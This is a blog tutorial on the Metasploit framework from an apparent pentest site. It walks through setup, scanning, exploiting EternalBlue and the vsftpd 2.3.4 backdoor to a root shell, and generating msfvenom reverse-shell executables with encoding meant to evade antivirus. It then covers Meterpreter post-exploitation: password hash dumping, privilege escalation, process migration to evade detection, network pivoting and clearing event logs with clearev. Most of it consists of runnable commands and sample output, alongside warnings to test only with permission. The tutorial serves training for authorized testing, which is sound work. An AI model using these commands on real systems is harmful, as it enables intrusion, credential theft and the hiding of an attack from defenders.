White Hats - Nepal

Security research, bug bounty writeups, pentest notes

Metasploit Tutorial for Pentesters: Your Ultimate Exploitation Guide

If you're looking to elevate your penetration testing game, Metasploit is your indispensable framework. It's the most widely used open-source penetration testing tool, empowering security professionals to develop, test, and execute exploits against vulnerable systems. Consider it your primary arsenal for transforming identified weaknesses into actionable compromises, making it crucial for red teamers, bug bounty hunters, and appsec engineers alike. This deep-dive Metasploit tutorial will guide you from setup through advanced post-exploitation, equipping you with the practical skills you need to succeed in the field.

Understanding the Metasploit Framework: A Core Metasploit Tutorial

What is Metasploit, Really?

At its core, Metasploit isn't just a single tool; it's a comprehensive framework. Developed by H. D. Moore in 2003 and later acquired by Rapid7, it quickly became the de-facto standard for exploit development and execution. Its open-source nature means a vibrant community continuously contributes new exploits, payloads, and modules, keeping it fresh and effective against the latest threats. Think of it as a modular platform where you can mix and match various components to achieve your penetration testing objectives.

Key Components of the Metasploit Ecosystem

To truly master Metasploit, you need to understand its primary components. The two you'll interact with most are msfconsole, the command-line interface, and msfvenom, the standalone payload generator. Beyond these, the framework organizes its capabilities into several module types, each serving a specific purpose in the exploitation lifecycle:

Here’s a quick overview of how these modules fit together:

Module Type Primary Function Common Use Case Example Module (Path)
Exploit Gaining initial access Targeting an unpatched service exploit/windows/smb/ms17_010_eternalblue
Payload Code executed post-exploit Establishing a reverse shell windows/meterpreter/reverse_tcp
Auxiliary Information gathering, scanning Scanning for open ports auxiliary/scanner/portscan/tcp
Post-Exploitation Actions after compromise Dumping user hashes post/windows/gather/hashdump
Encoder Obfuscating payloads Bypassing signature-based AV x86/shikata_ga_nai

Key Takeaway: Metasploit's power lies in its modularity. Understanding each component allows you to chain them effectively, building complex attack sequences from reconnaissance to post-exploitation. It's not just a tool; it's an entire ecosystem for penetration testing.

Setting Up Your Metasploit Lab: Practical Metasploit Tutorial Steps

Installation on Kali Linux (The Easy Way)

If you're running Kali Linux, you're already ahead of the game. Metasploit is pre-installed and readily available. To launch the Metasploit console, simply open a terminal and type:

msfconsole

The first time you run it, it might take a moment to initialize the database, but subsequent launches are much faster. You'll be greeted by the iconic Metasploit banner and the msf6> prompt.

Basic Configuration and Database Integration

For any serious penetration testing, integrating Metasploit with a database is crucial. This allows you to store scan results, session data, and host information, making complex engagements manageable. Metasploit uses PostgreSQL by default.

  1. Initialize the database: If you haven't already, ensure the database is initialized and started.
  2. msfdb init
    sudo systemctl start postgresql
  3. Connect to the database from msfconsole:
  4. db_connect <user>:<password>@<host>:<port>/<database>

    On Kali, after msfdb init, it usually connects automatically. You can verify with db_status.

  5. Create a workspace: Workspaces help organize your projects.
  6. workspace -a MyPentestProject
    workspace MyPentestProject

    This command creates and switches to a new workspace named "MyPentestProject."

  7. Import scan data: This is where Metasploit really shines. You can import results from tools like Nmap directly into your database. For instance, after running an Nmap scan (like nmap -sV -oX services.xml 192.168.1.0/24), you can import it:
  8. db_import services.xml

    This populates the database with host, service, and vulnerability information, which Metasploit can then use to suggest potential exploits. If you're not familiar with Nmap, check out our Nmap Tutorial for Pentesters to get started.

Scanning and Exploitation with Metasploit: A Hands-on Metasploit Tutorial

Information Gathering with Metasploit Auxiliaries

Before you exploit, you need to understand your target. Metasploit's auxiliary modules are excellent for this. They don't exploit, but they gather crucial data.

  1. TCP Port Scanner: Identify open ports and services.
  2. use auxiliary/scanner/portscan/tcp
    set RHOSTS 192.168.1.100
    set PORTS 1-65535
    run
  3. SMB Version Scanner: Discover vulnerable SMB services, often a juicy target.
  4. use auxiliary/scanner/smb/smb_version
    set RHOSTS 192.168.1.100
    run
  5. HTTP Version Scanner: Pinpoint web server technologies.
  6. use auxiliary/scanner/http/http_version
    set RHOSTS 192.168.1.100
    set RPORT 80
    run

The results of these scans are automatically saved to your database if you're connected, making them searchable later with commands like hosts and services.

Finding and Selecting Exploits: Your Metasploit Exploitation Workflow

Once you've gathered information, it's time to find a suitable exploit. Metasploit's search functionality is incredibly powerful.

  1. Search for exploits: You can search by name, CVE ID, platform, or service.
  2. search smb
    search type:exploit platform:windows smb ms17-010
    search cve:2017-0143
  3. Get exploit information: Before using an exploit, always check its details.
  4. info exploit/windows/smb/ms17_010_eternalblue

    This shows you description, targets, required options, and references.

  5. Select and configure the exploit:
  6. use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.1.100
    set RPORT 445
    show options

    RHOSTS (remote hosts) and RPORT (remote port) are almost always required. Some exploits might need additional parameters. Always use show options to see what's configurable.

  7. Choose and configure a payload: After selecting an exploit, you'll need to pick a payload. Metasploit often suggests a default, but you can change it.
  8. show payloads
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.1.5 (Your attacking machine's IP)
    set LPORT 4444 (The port your listener will use)
    show options

    LHOST (local host) and LPORT (local port) are crucial for reverse shells, telling the target where to connect back. For more on different shell types and their configurations, our Reverse Shell Cheatsheet is an excellent resource.

  9. Check and Exploit:
  10. check
    exploit

    The check command attempts to determine if the target is vulnerable without actually exploiting it. If it says "The target is vulnerable," you're good to go. Then, exploit or run executes the attack.

    Crafting Payloads with Metasploit (msfvenom)

    Sometimes you need a standalone payload without a specific Metasploit exploit module, perhaps for a web shell or a custom phishing attack. That's where msfvenom comes in. It's a powerful tool for generating and encoding payloads.

    Here's a common example for a Windows reverse TCP Meterpreter shell:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o /tmp/shell.exe
    • -p: Specifies the payload (e.g., windows/meterpreter/reverse_tcp for Windows, linux/x64/shell_reverse_tcp for Linux).
    • LHOST, LPORT: Your listening IP and port.
    • -f: Output format (e.g., exe, elf, asp, php).
    • -o: Output file path.

    You can also use encoders to make your payload less detectable:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 10 -o /tmp/encoded_shell.exe

    Here, -e specifies the encoder (x86/shikata_ga_nai is a popular choice), and -i 10 iterates the encoding process 10 times for better obfuscation.

    Executing Your First Exploit: A Practical Example

    Let's walk through exploiting a classic vulnerability: the vsftpd_234_backdoor. This is a backdoor discovered in VSHTPD 2.3.4, allowing arbitrary command execution.

    msf6> use exploit/unix/ftp/vsftpd_234_backdoor
    msf6 exploit(unix/ftp/vsftpd_234_backdoor)> set RHOSTS 192.168.1.100
    msf6 exploit(unix/ftp/vsftpd_234_backdoor)> set RPORT 21
    msf6 exploit(unix/ftp/vsftpd_234_backdoor)> set PAYLOAD cmd/unix/reverse_netcat
    msf6 exploit(unix/ftp/vsftpd_234_backdoor)> set LHOST 192.168.1.5
    msf6 exploit(unix/ftp/vsftpd_234_backdoor)> set LPORT 4444
    msf6 exploit(unix/ftp/vsftpd_234_backdoor)> exploit
    
    [*] Started reverse TCP handler on 192.168.1.5:4444
    [*] 192.168.1.100:21 - Sending backdoored command
    [+] 192.168.1.100:21 - Backdoor has been triggered.
    [*] 192.168.1.100:21 - Sending stage (88 bytes)
    [*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:39845) at 2023-10-27 10:30:00 -0500
    
    id
    uid=0(root) gid=0(root) groups=0(root)

    Boom! You now have a command shell as root on the target system. This is the moment every pentester lives for.

    Important Warning: Always remember that using Metasploit on systems you don't have explicit permission to test is illegal and unethical. This Metasploit tutorial is for educational and authorized penetration testing purposes only.

    Post-Exploitation with Metasploit: Deepening Your Access

    Understanding Meterpreter: Metasploit's Advanced Payload

    While a basic command shell is useful, Meterpreter is Metasploit's flagship payload, offering far more advanced capabilities. It's an in-memory, dynamically extensible payload that provides an interactive shell, file system control, network pivoting, and more, all while being stealthier than a standard shell.

    When you get a Meterpreter session, your prompt changes to meterpreter >. Here are some essential commands:

    • sysinfo: Get detailed system information.
    • getuid: Show the current user.
    • pwd / lpwd: Print working directory on remote / local system.
    • ls / dir: List files and directories.
    • upload <local_file> <remote_path>: Upload files to the target.
    • download <remote_file> <local_path>: Download files from the target.
    • shell: Drop into a native system shell (e.g., cmd.exe or Bash). Type exit to return to Meterpreter.
    • ps: List running processes.
    • migrate <PID>: Migrate the Meterpreter process into another process to enhance stability or evade detection.
    • background: Send the current session to the background, allowing you to interact with msfconsole again. You can list sessions with sessions -l and re-enter one with sessions -i <ID>.

    Privilege Escalation Techniques

    Often, your initial exploit grants you low-privileged access. Privilege escalation is the process of gaining higher privileges (e.g., Administrator on Windows, root on Linux). Metasploit has modules to assist with this.

    • getsystem: A Meterpreter command attempting various Windows privilege escalation techniques.
    • hashdump: Dumps password hashes from the SAM database (Windows) or /etc/shadow (Linux) for offline cracking.
    • run post/multi/recon/local_exploit_suggester: This post-exploitation module analyzes the target system and suggests potential local exploits that could lead to privilege escalation.

    Remember, privilege escalation is a critical step in almost every penetration test. For more general Kali Linux commands that help with file system navigation and reconnaissance, you might find our Kali Linux Commands for Pentesters & Bug Bounty Hunters article useful.

    Pivoting and Lateral Movement

    Once you've compromised a system, you can use it as a pivot point to access other networks or systems that were previously unreachable. This is known as pivoting.

    1. Background your session: Use background in Meterpreter or CTRL+Z in a shell to send your session to the background.
    2. Add a route: Tell Metasploit to route traffic through your compromised session.
    3. route add <subnet> <netmask> <session_id>

      For example, if your compromised host (session 1) is on an internal network 10.0.0.0/24:

      route add 10.0.0.0 255.255.255.0 1
    4. Scan the internal network: Now you can use Metasploit's auxiliary scanners (or Nmap via proxychains or a SOCKS proxy) to discover new targets on that internal network.
    5. use auxiliary/scanner/portscan/tcp
      set RHOSTS 10.0.0.0/24
      run

    Pivoting opens up entirely new attack surfaces and is a hallmark of sophisticated red team operations.

    Cleaning Up Your Tracks

    A good pentester always cleans up after themselves. This involves removing any deployed backdoors, log entries, or artifacts left on the target system.

    • clearev: A Meterpreter command that attempts to clear the event logs on a Windows system.
    • Manually remove uploaded files, scheduled tasks, or created users.
    • Ensure all Metasploit sessions are properly closed.

    Maintaining operational security (OpSec) and leaving no trace is crucial for realistic testing and avoiding detection.

    Key Takeaway: Initial access is just the beginning. Metasploit's post-exploitation capabilities, especially Meterpreter, enable deep dives into compromised systems, privilege escalation, and lateral movement, mimicking real-world attacker behavior.

    Advanced Metasploit Techniques and Best Practices

    Metasploit and Evasion: Staying Undetected

    Modern security solutions, like Endpoint Detection and Response (EDR) and Antivirus (AV) software, are constantly improving. Simply generating a payload with msfvenom and running it often leads to immediate detection. To stay stealthy, consider:

    • Encoding: As mentioned, msfvenom -e can help, but it's often not enough for sophisticated AV.
    • Custom Payloads/Obfuscation: Use tools like Veil-Evasion or write your own custom shellcode loaders to bypass AV signatures and behavioral analysis.
    • Reflective DLL Injection: Meterpreter uses this technique, which is more discreet than writing an executable to disk.
    • Staged vs. Stageless Payloads: Stageless payloads are larger but contain all necessary code, avoiding a second network connection which might be detected. Staged payloads are smaller and download the rest of the code dynamically.

    True evasion often involves techniques beyond Metasploit's built-in encoders, requiring a deeper understanding of how AV/EDR works.

    Integrating Metasploit with Other Tools

    No single tool does everything. Metasploit integrates well with others to create a powerful toolchain:

    • Nmap: Essential for initial network scanning. Use db_nmap inside msfconsole to scan and automatically import results.
    • Vulnerability Scanners (e.g., Nessus, OpenVAS): Import their XML output into Metasploit's database to automatically correlate vulnerabilities with available exploits.
    • Burp Suite/OWASP ZAP: For web application testing, these proxies are invaluable. You can sometimes chain web exploits (like SQL Injection) with Metasploit payloads for broader impact.
    • Social Engineering Toolkits (SET): Metasploit payloads can be integrated into SET's phishing campaigns.

    Ethical Hacking and Responsible Disclosure

    As powerful as Metasploit is, with great power comes great responsibility. Always adhere to ethical guidelines:

    • Scope: Never test systems outside the agreed-upon scope of your engagement.
    • Permissions: Always have explicit, written permission before conducting any penetration test.
    • Impact: Understand the potential impact of your actions. Avoid denial-of-service or data corruption unless explicitly authorized.
    • Disclosure: If you find a critical vulnerability, follow responsible disclosure practices.

    Our work as pentesters is to help organizations improve their security posture, not to cause harm. Understanding and respecting these boundaries is paramount.

    Bottom Line: Metasploit is an evolving beast. Continuous learning, experimenting with new modules, and understanding underlying attack vectors are essential to staying sharp. The framework provides the tools; your expertise dictates their effectiveness.

    Frequently Asked Questions

    Is Metasploit legal to use?

    Yes, Metasploit is perfectly legal to use. It's a legitimate security tool designed for penetration testing and vulnerability research. Its legality depends entirely on how you use it – using it on systems you don't own or have explicit permission to test is illegal and can lead to severe penalties.

    What are the best alternatives to Metasploit?

    While Metasploit is dominant, other tools offer similar functionalities. Nmap (for scanning), Exploit-DB (for exploit research), Cobalt Strike (a commercial red teaming framework), and various custom scripts or private exploit frameworks are often used in conjunction with or as alternatives to Metasploit, depending on the specific task.

    How long does it take to learn Metasploit?

    Learning the basics of Metasploit, like launching msfconsole and running simple exploits, can take a few hours to a few days. However, truly mastering Metasploit – understanding its modules, developing custom payloads, and integrating it into advanced red team operations – can take months or even years of dedicated practice and study.

    Can Metasploit be detected by antivirus?

    Yes, many standard Metasploit payloads generated by msfvenom are often detected by modern antivirus (AV) and Endpoint Detection and Response (EDR) solutions. Bypassing these defenses requires advanced techniques like custom payload obfuscation, using different encoders, or developing custom loaders, which go beyond Metasploit's basic functionalities.